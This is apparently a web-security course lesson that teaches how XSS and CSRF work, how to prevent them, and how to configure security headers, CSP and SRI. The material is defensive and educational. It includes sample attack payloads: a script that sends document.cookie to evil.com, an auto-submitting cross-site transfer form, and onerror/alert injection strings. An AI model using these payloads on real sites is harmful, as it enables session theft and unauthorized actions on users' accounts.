devHọc Dev

Week 1 - Day 2: XSS, CSRF, Security Headers and CSP

Week 1 – Day 2

This lesson combines 2 topics: XSS and CSRF, Security Headers and CSP.

Learning Objectives

  • Understand the 3 types of XSS: Stored, Reflected, DOM-based, with code examples
  • Know the XSS prevention techniques: output encoding, framework escaping, CSP
  • Understand how CSRF works and how browsers send cookies
  • Prevent CSRF with SameSite cookies, CSRF tokens, and the double-submit cookie
  • Clearly distinguish XSS from CSRF, two attacks that are often confused
  • Understand the role of the important security headers: CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy
  • Configure Content-Security-Policy (CSP) with nonce/hash, and use report-only mode
  • Apply Subresource Integrity (SRI) when loading from a CDN
  • Measure and improve your security posture with securityheaders.com and Mozilla Observatory
  • Know how to deploy secure headers in Express, Next.js, nginx

Part 1: XSS and CSRF

1. Cross-Site Scripting (XSS): When the Browser Runs the Attacker's Code

XSS happens when an attacker manages to inject JavaScript that runs in the victim's browser, under the context (origin) of the target website.

Why is XSS dangerous?

JavaScript running in a web page can:

  • Read cookies (if HttpOnly is not set) → steal the session
  • Read the DOM → steal form data (card numbers, passwords being typed)
  • Send requests on behalf of the user (fetch('/api/transfer', {...}) with the user's credentials)
  • Keylog every key the user types
  • Redirect to an identical-looking phishing page

XSS = code execution inside the user's session. For the attacker, this is as powerful as being the real user.

2. Stored XSS: Saved in the DB, Hits Every User Who Loads the Page

How it works

AttackerServer/DBVictim1.POST/comments──►Saveraw<script>payloadtoDB2.GET/post/123ReturnHTMLwith──►embedded<script>BrowserrunsscriptCookieleakedtoattacker

Vulnerable code (Node + Express + Pug)

// VULNERABLE — server side
app.post('/comments', (req, res) => {
  db.insert('comments', { body: req.body.text });  // stored raw
  res.redirect('/comments');
});

app.get('/comments', async (req, res) => {
  const comments = await db.all('comments');
  // Template renders HTML without escaping:
  let html = comments.map(c => `<div>${c.body}</div>`).join('');
  res.send(`<html><body>${html}</body></html>`);
});

The attacker posts a comment with the body:

<script>fetch('https://evil.com/?c='+document.cookie)</script>

Every user who views /comments → their cookie is sent to evil.com.

Secure code

const escapeHtml = (str) => str
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');

app.get('/comments', async (req, res) => {
  const comments = await db.all('comments');
  let html = comments.map(c => `<div>${escapeHtml(c.body)}</div>`).join('');
  res.send(`<html><body>${html}</body></html>`);
});

Or better: use a template engine that escapes by default (Pug, Handlebars {{ }}, EJS <%= %>, Jinja {{ }}).

3. Reflected XSS: Payload in the URL, the Server "Reflects" It Back

How it works

URL:https://shop.com/search?q=<script>alert(1)</script>└──ServerincludesitverbatimintheresponseServerresponse:<h1>Resultsfor:<script>alert(1)</script></h1>└──Browserexecutesitinsteadofdisplayingtext

The attacker lures the victim into clicking a link (via email, chat, ads) → the server reflects the payload → JS runs in the victim's browser.

Vulnerable code (Express)

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Results for: ${q}</h1>`);  // not escaped!
});

Secure code

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Results for: ${escapeHtml(q)}</h1>`);
});

Or use a framework: React, Vue, Svelte escape all text content by default.

4. DOM-based XSS: A Vulnerability in Client-side JS

How it works

The vulnerability is not on the server: the server returns a clean response, but client-side JS reads the URL/hash/postMessage and embeds it into the DOM unsafely.

Vulnerable code

<!-- Page welcome.html -->
<script>
  const name = new URL(location.href).searchParams.get('name');
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>

The attacker sends the link:

https://example.com/welcome.html?name=<img src=x onerror=alert(1)>

The server does not see the payload (the browser does not send the query string when handling the hash; the parameter is processed entirely on the client). The victim's browser executes onerror.

Secure code

<script>
  const name = new URL(location.href).searchParams.get('name');
  // textContent does NOT parse HTML
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>

Rule: use textContent / innerText instead of innerHTML. In React, use {value} instead of dangerouslySetInnerHTML.

React example: DOM-based XSS

// VULNERABLE
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// SECURE — React auto escape
function Comment({ text }) {
  return <div>{text}</div>;
}

// If you must render HTML from the user (markdown, rich text):
// You must sanitize it first
import DOMPurify from 'dompurify';
function MarkdownView({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

5. Output Encoding: The Right Context, the Right Way

Encoding depends on where the data is placed in the HTML.

ContextEncodingExample
HTML bodyHTML entity encode<div>{{ user.name }}</div>
HTML attributeHTML entity encode + quote<input value="{{ user.name }}">
JavaScript stringJS string escapevar name = "{{ user.name |escapejs }}"
URL parameterURL encode<a href="/u?n={{ user.name |urlencode }}">
CSS valueCSS escapestyle="color: {{ ... }}": avoid

Golden rule: never put untrusted data into <script>, <style>, on* attributes, or href="javascript:...". These are sinks with no safe way to escape.

6. Content Security Policy (CSP): The Second Line of Defense

CSP is an HTTP header that specifies which sources the browser is allowed to load resources (script, style, image, font...) from and execute. If an attacker injects a <script> but CSP does not allow it to execute → the XSS is blocked.

Basic policy example

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:;

Breakdown:

  • default-src 'self': by default only allow loading from the same origin
  • script-src 'self' https://cdn.example.com: scripts only from the main origin + whitelisted CDN
  • style-src 'self' 'unsafe-inline': CSS from the origin + allow inline <style> (a compromise for legacy reasons)
  • img-src 'self' data:: images from the origin + data URIs

Inline scripts: the problem and the solution

A strict CSP does not allow inline <script>...</script> by default. Solutions:

<!-- 1. Nonce-based -->
<!-- Header: Content-Security-Policy: script-src 'nonce-r4nd0m123' -->
<script nonce="r4nd0m123">
  console.log('runs because the nonce matches');
</script>

<!-- 2. Hash-based -->
<!-- Header: script-src 'sha256-abc123...' (hash of the script content) -->
<script>console.log('hello');</script>
<!-- The browser computes the hash itself and compares it to the policy -->

<!-- 3. 'unsafe-inline' — NOT RECOMMENDED, disables most of CSP's benefits -->

The nonce must differ on every request and be cryptographically random. The server generates the nonce and adds it to the header + to the <script nonce="..."> tag.

Report-Only mode

When first deploying, use report-only to monitor without breaking the page:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation

The browser sends a POST to /csp-violation whenever the policy is violated, but still allows the load, so you get data to tune the policy before enforcing it.

CSP is not a silver bullet

CSP does not replace output encoding; it is defense in depth:

  • Output encoding stops XSS at the source (prevents payload injection)
  • CSP blocks execution even if a payload gets injected (reduces impact)

You need both together.

How it works

1. User logs in to bank.com, browser stores the session cookie

2. User (not yet logged out) visits evil.com
   evil.com contains:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="attacker_account">
     <input name="amount" value="1000000">
   </form>
   <script>document.forms[0].submit()</script>

3. Browser SUBMITS the form to bank.com
   Browser AUTOMATICALLY attaches bank.com's cookie
                       ↓
   bank.com sees a valid cookie → performs the transfer

The core point

  • CSRF relies on the browser automatically sending cookies with every request to the matching origin
  • The attacker does not need to read the cookie, only to force the browser to send it
  • The victim is logged in; the attacker does not need to know the password

XSS vs CSRF: don't confuse them

XSSCSRF
Where the attacker runs codeVictim's browser, in the victim site's originRuns no code; only forces the browser to send a request
Victim must be logged in?Not required (but worse if logged in)Required: it uses the victim's session
Can it steal data?Yes (cookie, form, DOM)No, it only "performs an action"
Main mitigationOutput encoding, CSPSameSite cookie, CSRF token
SeverityHigher (full account takeover)Medium-high (actions on behalf of the user)

SameSite is a cookie attribute that controls whether the browser sends the cookie cross-site.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

The three SameSite values

ValueBehaviorWhen does the browser send the cookie?
StrictOnly sent if the request comes from the same siteUser is in the site's tab, clicks an internal link, submits an internal form
Lax (new default)Sent for safe top-level GET navigationUser types a URL, clicks a link from another site → GET with cookie. Cross-site POST → NO cookie
NoneSent cross-site as usualEvery request (MUST be paired with Secure)

When to use which

  • Strict: best for bank session cookies, admin panels. But poor UX: a user clicking through from Google search lands on the site logged out
  • Lax: a good balance: blocks CSRF via POST/PUT/DELETE while still allowing user navigation. The current default in Chrome/Firefox for cookies that don't declare SameSite
  • None: only use it if you really need cross-site (third-party widget, embed). Secure is required

The problem: GET with side effects

SameSite=Lax still sends the cookie with cross-site GET. If the app has:

GET /transfer?to=X&amount=100

→ it is still vulnerable to CSRF. You must:

  1. Never use GET for state-changing actions (REST best practice)
  2. Or use SameSite=Strict
  3. Or add a CSRF token

9. Preventing CSRF, Method 2: CSRF Token

The server generates a random token and embeds it in the HTML form. When the user submits, the token must match; the attacker cannot guess/read the token (the same-origin policy blocks reading HTML cross-site).

Synchronizer Token Pattern

1. User GET /transfer-page
   Server generates csrf_token = "x7K9..." (random per session)
   Server stores csrf_token in the server-side session
   Server renders:
     <form>
       <input type="hidden" name="csrf_token" value="x7K9...">
       <input name="amount">
     </form>

2. User submits the form
   Server compares req.body.csrf_token === session.csrf_token
   Match → proceed; Mismatch → 403

Node + Express code

const csurf = require('csurf');
app.use(csurf());                         // middleware

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

// form.ejs:
// <form method="POST" action="/transfer">
//   <input type="hidden" name="_csrf" value="<%= csrfToken %>">
//   ...
// </form>

app.post('/transfer', (req, res) => {
  // csurf verifies req.body._csrf automatically
  doTransfer(req.body);
  res.redirect('/done');
});

Python + Django code

Django enables CSRF protection automatically:

<form method="POST">
  {% csrf_token %}
  <input name="amount">
</form>

Used for stateless APIs (no server session). The token is sent via both a cookie and a header/body; the attacker cannot set headers cross-origin.

Flow

1. Server sets cookie: csrf=randomToken
2. JS reads the csrf cookie and sends it in the X-CSRF-Token header on every mutating request
3. Server verifies: req.cookies.csrf === req.headers['x-csrf-token']

Why it is safe:

  • The attacker cannot read the cookie cross-origin (the browser forbids it)
  • The attacker can set the cookie value (if they have XSS) but cannot set a header cross-origin in a simple form submission
  • A CORS preflight with a custom header is blocked cross-origin by the browser

Code

// Server (Express)
app.use((req, res, next) => {
  if (!req.cookies.csrf) {
    const token = crypto.randomBytes(32).toString('hex');
    res.cookie('csrf', token, { sameSite: 'lax', secure: true });
  }
  next();
});

app.post('/api/transfer', (req, res) => {
  const cookieToken = req.cookies.csrf;
  const headerToken = req.headers['x-csrf-token'];
  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF' });
  }
  // proceed
});
// Client
function getCookie(name) {
  return document.cookie.split('; ').find(c => c.startsWith(name+'='))?.split('=')[1];
}

await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCookie('csrf'),
  },
  body: JSON.stringify({ amount: 100 }),
});

The cookie holding the CSRF token must NOT be HttpOnly: JS needs to read it. The session cookie, however, must still be HttpOnly.

11. Comparing XSS vs CSRF

CriterionXSSCSRF
Attack vectorInject JS that runs in the victim's browserForce the victim's browser to send a request with cookies
What the victim must doVisit a page containing the payloadVisit the attacker's page while logged in to the target site
Where the code runsIn the victim's browser, in the target site's originNo attacker code is executed
Can it read the response?Yes (same-origin)No (the browser blocks cross-origin reads)
Steals data?YesNot directly
OWASP categoryA03 InjectionA01 Broken Access Control (or A05)
Main mitigationOutput encoding, CSP, framework auto-escapeSameSite cookie, CSRF token, CORS
Does an HttpOnly cookie help?Yes: JS cannot read the session cookieNo: the browser still sends the cookie automatically
Does a SameSite cookie help?NoYes
Does CSP help?Yes (blocks execution)No

How they relate

XSS can bypass every CSRF protection:

  • JS from XSS runs in the origin → can read the CSRF token → attaches it itself
  • → Fixing XSS matters more than fixing CSRF. One XSS = you lose everything.

Part 2: Security Headers and CSP

1. Why Do Security Headers Matter?

Security headers are HTTP response headers that tell the browser how to handle content more safely. They:

  • Are defense in depth: they still work even when other bugs exist
  • Are free: only server config is needed, no changes to business logic code
  • Are less likely to cause regressions (if enabled from the start) compared with refactoring code
WithoutheadersWithheaders─────────────────────────────────────────────────────────XSS→JSexecuteCSPblockinlinescriptMITMoverHTTPHSTSforceHTTPSClickjackingiframeX-Frame-OptionsdenyMIMEconfusionattackX-Content-Type-OptionsnosniffSensitiveRefererleakReferrer-Policystrict-originMic/cameraabusePermissions-Policydeny

Although they cannot replace secure code, headers reduce the impact when bugs exist.

2. Overview of the Important Headers

HeaderPurposeRecommended value
Strict-Transport-Security (HSTS)Force HTTPS, prevent SSL strippingmax-age=31536000; includeSubDomains; preload
Content-Security-Policy (CSP)Whitelist resource sources, block XSSdefault-src 'self'; script-src 'self' 'nonce-...'
X-Frame-OptionsPrevent clickjackingDENY or SAMEORIGIN
X-Content-Type-OptionsPrevent MIME sniffingnosniff
Referrer-PolicyControl Referer leaksstrict-origin-when-cross-origin
Permissions-PolicyEnable/disable browser featurescamera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy (COOP)Top window isolationsame-origin
Cross-Origin-Embedder-Policy (COEP)Embedded resource isolationrequire-corp
Cross-Origin-Resource-Policy (CORP)Prevent cross-origin readssame-origin
X-XSS-ProtectionDEPRECATEDDon't use: removed from modern browsers

3. Strict-Transport-Security (HSTS)

Tells the browser to always use HTTPS for this domain, even when the user types http://. Prevents SSL stripping attacks (a MITM downgrading HTTPS → HTTP).

Format

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
DirectiveMeaning
max-age=NNumber of seconds the browser caches the policy (31536000 = 1 year)
includeSubDomainsApplies to every subdomain
preloadAllows submission to the Chrome/Firefox HSTS preload list

HSTS Preload

After the domain is submitted and accepted at hstspreload.org:

  • The browser hard-codes the domain → HTTPS from the very first visit, no prior fetch needed
  • Eliminates the TOFU (Trust On First Use) gap

Careful: HSTS preload is very hard to remove (it takes months/years to get off the list). Only submit when you are sure the site will use HTTPS for the long term.

Pitfalls

  • Set max-age=0 to turn off HSTS (debugging); production should always be 1 year
  • includeSubDomains can break old subdomains that still use HTTP
  • Test on staging first; if you set it wrong, browsers cache it for a long time

4. X-Frame-Options & frame-ancestors

Prevents clickjacking: the attacker embeds your site in a transparent iframe and tricks the user into clicking a button → performing an action.

attacker.compage└──"Clicktoclaimyourgift"←fakeUIontop└──<iframeopacity:0src=bank.com>←transparentiframe└──[Transfer$1000]←whattheuseractuallyclicks

X-Frame-Options (legacy)

X-Frame-Options: DENY              # nobody may iframe it
X-Frame-Options: SAMEORIGIN        # only the same origin may iframe it

CSP frame-ancestors (modern)

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors https://trusted.example.com;

CSP frame-ancestors overrides X-Frame-Options when both are present (modern browsers). Best practice: set both for compatibility with old browsers.

5. X-Content-Type-Options

X-Content-Type-Options: nosniff

Stops the browser from "guessing" a content type different from the Content-Type header the server sent.

Why it matters

Old browsers do "MIME sniffing": they see a file with the header Content-Type: text/plain but content that looks like HTML → render it as HTML. An attacker uploads evil.txt containing <script> to a CDN → the browser renders it as HTML → XSS.

nosniff forces the browser to respect the exact Content-Type from the server.

Every response should have this header. There is no downside.

6. Referrer-Policy

Controls the Referer header (a historical misspelling): tells the browser when to send the source URL to the destination page.

The problem

URLs can contain sensitive information:

  • https://email.com/inbox?token=xyz
  • https://app.com/reset-password?key=abc

By default the browser sends the full URL in the Referer when the user clicks out → the token leaks to a third party.

Values

ValueBehavior
no-referrerNever sent
same-originSent only same-origin
strict-originOrigin only, not sent on downgrade (HTTPS→HTTP)
strict-origin-when-cross-origin ⭐Full URL same-origin, origin-only cross-origin, not sent on downgrade
unsafe-urlAlways sends the full URL (DANGEROUS)

Recommendation: strict-origin-when-cross-origin (Chrome's new default).

7. Permissions-Policy

Enables/disables powerful browser APIs (camera, mic, geolocation, USB, payment...).

Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()

Syntax:

  • feature=(): disable completely
  • feature=(self): main origin only
  • feature=(self "https://trusted.com"): main origin + whitelist
  • feature=*: allow every origin (NOT recommended)

Features commonly disabled

FeatureWhen to turn it off
cameraThe app doesn't use the webcam
microphoneThe app doesn't use the mic
geolocationThe app doesn't need location
paymentNo Payment Request API
usb, serial, hidOrdinary web apps
interest-cohortOpt out of FLoC (Google ad tracking)

The more you disable, the better: if an attacker manages to inject XSS, they cannot access the camera/mic/location.

8. Content-Security-Policy in Depth

CSP is the most complex header but the most important one against XSS. A correct configuration = 80% less XSS impact.

Main directives

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /csp-report;
DirectiveControls
default-srcFallback for undeclared directives
script-srcJavaScript sources
style-srcCSS sources
img-srcImage sources
font-srcFont sources
connect-srcfetch, XMLHttpRequest, WebSocket
frame-srcSources of embedded <iframe>s
frame-ancestorsWhich sites may iframe this page
base-uriAllowed <base href>
form-actionURLs for a form's action
report-uri / report-toEndpoint that receives violation reports

Allowed sources

'self'                  same origin
'none'                  no source at all
https://cdn.example.com domain whitelist
*.example.com           wildcard subdomain (avoid top-level wildcards)
data:                   data URI (be careful with img)
blob:                   blob URI (needed for file upload previews)
'unsafe-inline'         inline script/style — AVOID
'unsafe-eval'           eval, new Function() — AVOID
'nonce-r4nd0m'          script with a matching nonce attribute
'sha256-abc...'         script with a matching hash
'strict-dynamic'        trust scripts loaded by a trusted script
// Express middleware
const crypto = require('crypto');

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${res.locals.cspNonce}'; object-src 'none'; base-uri 'self';`
  );
  next();
});

// Template
// <script nonce="<%= cspNonce %>">console.log('OK')</script>

The nonce must:

  • Be random and cryptographically secure (≥128 bits)
  • Differ on every request
  • Not be sent via the URL or cached

Hash-based CSP: for static inline scripts

Content-Security-Policy: script-src 'self' 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='
<script>console.log('hello');</script>

The browser computes the SHA-256 of the <script> content (between the opening/closing tags) and compares it to the policy. If it matches → execute.

Useful for: static inline scripts that don't change between requests.

strict-dynamic

Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic';

Allows a script with a nonce to load additional scripts without a nonce (via createElement('script')). Useful when a bundle loads its own chunks:

// loader.js (has a nonce) — trusted
const s = document.createElement('script');
s.src = '/chunks/abc.js';   // the chunk doesn't need a nonce
document.head.appendChild(s);

Strict-dynamic is the modern way for CSP to fight XSS without listing a domain whitelist (domain whitelists are often bypassed via JSONP, AngularJS Sandbox bypass).

Report-Only Mode

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations;

The browser does not enforce; it only sends a POST to /csp-violations whenever there is a violation. Use it when:

  • You are deploying CSP for the first time and fear breaking the site
  • You want to measure whether a strict policy causes real issues
  • You test against production traffic with real data

Workflow:

  1. Enable Report-Only with a strict policy
  2. Collect violation reports for 1-2 weeks
  3. Analyze → tune the policy (whitelist the domains you really need, fix inline scripts with nonces)
  4. Switch to Content-Security-Policy (enforce)

Sample report payload

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "https://evil.com/payload.js",
    "line-number": 42,
    "source-file": "https://example.com/page"
  }
}

9. Subresource Integrity (SRI): Protecting CDN Loads

When you load script/CSS from a CDN (jsdelivr, cdnjs), you depend on that CDN not being hacked. SRI lets you pin the file's hash; the browser verifies it before executing.

Syntax

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

<link
  rel="stylesheet"
  href="https://cdn.example.com/style.css"
  integrity="sha384-..."
  crossorigin="anonymous">

Computing the hash

# Hash a local file
openssl dgst -sha384 -binary lib.js | openssl base64 -A
# Output: oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC

# Or use the online tool: srihash.org

Behavior

  • The browser fetches the file → computes the hash → compares it with integrity
  • Match → execute
  • Mismatch → abort, no execution, console error

When to use it

  • Every <script> / <link> from an external CDN
  • Bundlers can generate SRI hashes automatically (webpack, esbuild plugin)
  • DON'T use SRI for your own same-origin assets (pointless, and you would have to update it every deploy)

Notes

  • crossorigin="anonymous" is required when loading cross-origin
  • If the CDN changes the file → hash mismatch → the site is broken until you update integrity. Pin the version in the URL: lib@1.2.3, not lib@latest.

Express + helmet

const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
      styleSrc: ["'self'"],
      imgSrc: ["'self'", "data:"],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

helmet enables by default: HSTS, X-Frame-Options=DENY, X-Content-Type-Options=nosniff, Referrer-Policy, and a basic CSP. One line covers 80% of the headers.

Next.js (next.config.js)

const securityHeaders = [
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=31536000; includeSubDomains; preload',
  },
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  {
    key: 'Permissions-Policy',
    value: 'camera=(), microphone=(), geolocation=()',
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline'; ..."
    // Next.js inline scripts need a nonce or 'unsafe-inline'
    // See the Next.js docs to configure nonce middleware
  },
];

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};

nginx

server {
  listen 443 ssl http2;

  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
  add_header X-Frame-Options "DENY" always;
  add_header X-Content-Type-Options "nosniff" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
}

The always flag is required: without it, the header is only added to 2xx/3xx, not to 4xx/5xx.

CloudFront / AWS

CloudFront has a managed Response Headers Policy: choose "SecurityHeadersPolicy" to enable them automatically.

11. Measuring Your Security Posture

securityheaders.com

https://securityheaders.com/?q=yoursite.com&hide=on&followRedirects=on

Output:
A+ → all headers are good
A  → missing 1-2 minor headers
B/C → missing CSP or HSTS
F → no headers at all

Useful for: a quick baseline, comparing with competitors, tracking regressions.

Mozilla Observatory

https://observatory.mozilla.org/

Deeper tests:
- HTTP → HTTPS redirect
- HSTS preload status
- Cookie security flags
- TLS configuration (linked to SSL Labs)
- Output: score 0-130 + grade A-F

SSL Labs (TLS-specific)

https://www.ssllabs.com/ssltest/

Test:
- TLS version supported
- Cipher suites
- Cert chain
- Vulnerabilities (POODLE, BEAST, Heartbleed...)
- Score A+ -> F

Browser DevTools

Network tab → click request → Headers
"Issues" panel (Chrome) reports CSP violations and security issues

Review Questions

  1. Distinguish Stored XSS from Reflected XSS in a single sentence.

    Show answer

    Stored XSS: the payload is stored in the server's DB/storage and served to every user who visits the page (everyone who loads it is hit). Reflected XSS: the payload lives in a one-off URL/request, and the server reflects it back in the response; only users who click the malicious link are hit (it requires social engineering).

    Stored is usually more severe (wider impact); Reflected is easier to find (just test the request).

  2. Why can't DOM-based XSS be blocked by a WAF/server-side validation?

    Show answer

    DOM-based XSS happens entirely on the client side: the payload can sit in the URL fragment (#...), which the browser does not send to the server, or in postMessage, localStorage. The server never sees the payload, so a WAF/validation cannot block it. Mitigation must happen on the client: use textContent instead of innerHTML, don't trust location.hash, use reactive frameworks (React, Vue) that escape automatically, audit JS sinks with tools like DOMPurify.

  3. A dev says: "I've enabled HttpOnly on the session cookie, so XSS is no longer dangerous." True or false?

    Show answer

    False. HttpOnly only prevents JS from reading the session cookie via document.cookie, but JS from XSS can still:

    • Call fetch('/api/transfer', {...}) with the user's credentials (the browser sends the cookie automatically)
    • Read the DOM and steal form data being typed (password, credit card)
    • Keylog, screenshot the DOM
    • Overlay a phishing UI
    • Grab the CSRF token and bypass CSRF protection

    HttpOnly is defense in depth: required but not sufficient. You must fix the root XSS.

  4. Does SameSite=Lax block a CSRF attack against the endpoint GET /api/delete?id=5? Why?

    Show answer

    No. SameSite=Lax allows the cookie to be sent with top-level cross-site GET navigation. If the attacker lures the user into clicking <a href="https://target.com/api/delete?id=5">click</a>, the browser navigates via GET with the cookie → the endpoint performs the delete.

    Two ways to fix it: (1) Never use GET for mutating actions: REST best practice, use POST/DELETE; (2) Use SameSite=Strict (but poor UX); (3) Add CSRF token verification on top.

    Lesson: using the correct REST verb is a security measure, not just a convention.

  5. A CSP has the header script-src 'self' 'unsafe-inline'. What is the problem?

    Show answer

    'unsafe-inline' allows any inline <script> to execute. If an attacker injects a Stored XSS with <script>alert(1)</script>, CSP lets it run → CSP is nearly useless against XSS.

    Fix: remove 'unsafe-inline' and use nonce-based ('nonce-xxxx') or hash-based ('sha256-xxxx'). The browser then only executes scripts whose nonce/hash matches the policy; an XSS payload without the nonce is blocked.

    This is the most common CSP mistake in rushed deployments: enabling CSP but keeping 'unsafe-inline' so as not to break legacy code, leaving a policy with no protection.

  6. Why does 'unsafe-inline' in script-src almost completely neutralize CSP's protection against XSS?

    Show answer

    CSP fights XSS by blocking the execution of inline scripts that are not whitelisted. 'unsafe-inline' allows any inline <script> to execute, meaning that if an attacker injects <script>alert(1)</script> via Stored XSS, CSP does not block it. Almost the whole reason for using CSP is gone.

    Alternative: use 'nonce-{random}' (one nonce per request, which the attacker cannot know) or 'sha256-...' (hash of a fixed script). Inline scripts without the correct nonce/hash are blocked.

    In practice: many sites enable 'unsafe-inline' to avoid refactoring inline analytics/ads, so their CSP is just "decoration" with no real security value.

  7. What is the difference between X-Frame-Options and CSP frame-ancestors?

    Show answer

    Same purpose (preventing clickjacking), but:

    • X-Frame-Options: a separate header with only 3 values (DENY, SAMEORIGIN, ALLOW-FROM uri; ALLOW-FROM is deprecated). A single whitelisted URL.
    • CSP frame-ancestors: a CSP directive that supports a whitelist of multiple origins and source expressions ('self', 'none', scheme, wildcard).

    frame-ancestors is newer and more powerful. In modern browsers, frame-ancestors overrides X-Frame-Options. Best practice: set both, for IE11/old Safari (X-Frame-Options) as well as modern browsers (frame-ancestors).

  8. Your app loads Google Fonts from fonts.googleapis.com. What does the CSP need so it doesn't break?

    Show answer

    Google Fonts loads from 2 hosts:

    • fonts.googleapis.com: the CSS file (@font-face declaration)
    • fonts.gstatic.com: the actual font files (.woff2)

    The CSP needs:

    style-src 'self' https://fonts.googleapis.com;
    font-src 'self' https://fonts.gstatic.com;
    

    Missing style-src for googleapis.com → the CSS is blocked. Missing font-src for gstatic.com → the font does not render. This is the most common pattern when enabling CSP: you must tune it to the CDNs/third parties the site actually uses.

  9. What are the risks of HSTS with preload?

    Show answer

    The preload list is very hard to get off. After you submit and are accepted into the Chrome/Firefox/Safari preload list:

    • Browser binaries update every few months/quarters
    • Users on old browsers may keep the entry for years
    • A removal request takes 3-12 months to propagate

    Risks:

    • If the certificate expires and isn't renewed in time → the site is completely red (there is no "Continue anyway" for HSTS preload)
    • If you temporarily need HTTP (debugging, migration) → impossible
    • New subdomains must be HTTPS from day one (because of includeSubDomains)

    Best practice: HSTS max-age=300 tested for 1 week → raise to 2592000 (30 days) → finally 31536000 (1 year) + preload. Only submit to preload once the infra is stable.

  10. Which scenarios does the SRI integrity hash protect against? When is SRI pointless?

Show answer

SRI protects against:

  • A hacked CDN → the attacker replaces the file content → the browser computes a different hash → execution is blocked
  • Supply chain attack: the lib's maintainer pushes a malicious update → the old hash doesn't match → blocked
  • MITM over HTTP (although HTTPS covers most of this, SRI is a double check)

SRI is pointless when:

  • Your own same-origin assets: you control the server, SRI only adds pain (you must update the hash every deploy)
  • URLs with the @latest tag: the file changes constantly, so SRI breaks often
  • You need the lib's new features via auto-update: SRI prevents silent updates

SRI is a trade-off: more safety vs less flexibility. Recommendation: pin the version lib@1.2.3 + an SRI hash for every third-party CDN.

Hands-on Exercises

Part 1: XSS and CSRF

# 1. Exploit XSS yourself in OWASP Juice Shop
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Find the "DOM XSS" and "Reflected XSS" challenges

# 2. Test the CSP of a site you manage
curl -I https://yoursite.com | grep -i content-security
# Or use a tool:
# https://csp-evaluator.withgoogle.com/

# 3. Test the SameSite cookie
# Set a cookie with SameSite=Lax on site A
# Create a page on site B (localhost on a different port = "cross-site")
# Submit a POST form to site A and use DevTools Network to check
# whether the request sends the cookie

# 4. Code lab: write an Express app with two endpoints
#    /vulnerable — no escaping, /safe — with escaping
#    Try the payload: <img src=x onerror=alert(1)>
#    Compare the responses

# 5. Sanitize user-entered HTML (rich text editor)
npm install dompurify jsdom
node -e "
const {JSDOM} = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
console.log(DOMPurify.sanitize('<p>ok</p><script>bad()</script>'));
// Output: <p>ok</p>
"

Part 2: Security Headers and CSP

# 1. Test your site's security headers
curl -I https://yoursite.com | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer|permissions"

# 2. Get a score from securityheaders.com
open "https://securityheaders.com/?q=yoursite.com&followRedirects=on"

